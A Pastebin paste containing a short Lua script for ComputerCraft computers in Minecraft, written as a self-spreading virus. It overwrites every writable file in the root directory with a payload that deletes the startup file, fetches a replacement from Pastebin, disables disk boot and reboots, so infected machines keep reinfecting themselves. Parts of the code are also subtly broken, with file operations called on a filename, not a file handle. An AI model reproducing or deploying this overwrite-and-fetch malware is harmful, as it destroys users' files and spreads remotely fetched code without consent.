Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- code="
- if fs.exists("/startup") == true then
- shell.run("rm /startup")
- end
- shell.run("pastebin get cdYr6QvV startup")
- settings.set("shell.allow_disk_startup","false")
- os.reboot()
- "
- for k,v in pairs(fs.list("/")) do
- if not fs.isReadOnly(v) then
- if v ~= "main" then
- io.open(v,"w")
- v:seek("set")
- v:write(code)
- io.close(v)
- --fs.delete(v)
- end
- end
- end
- --io.open
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement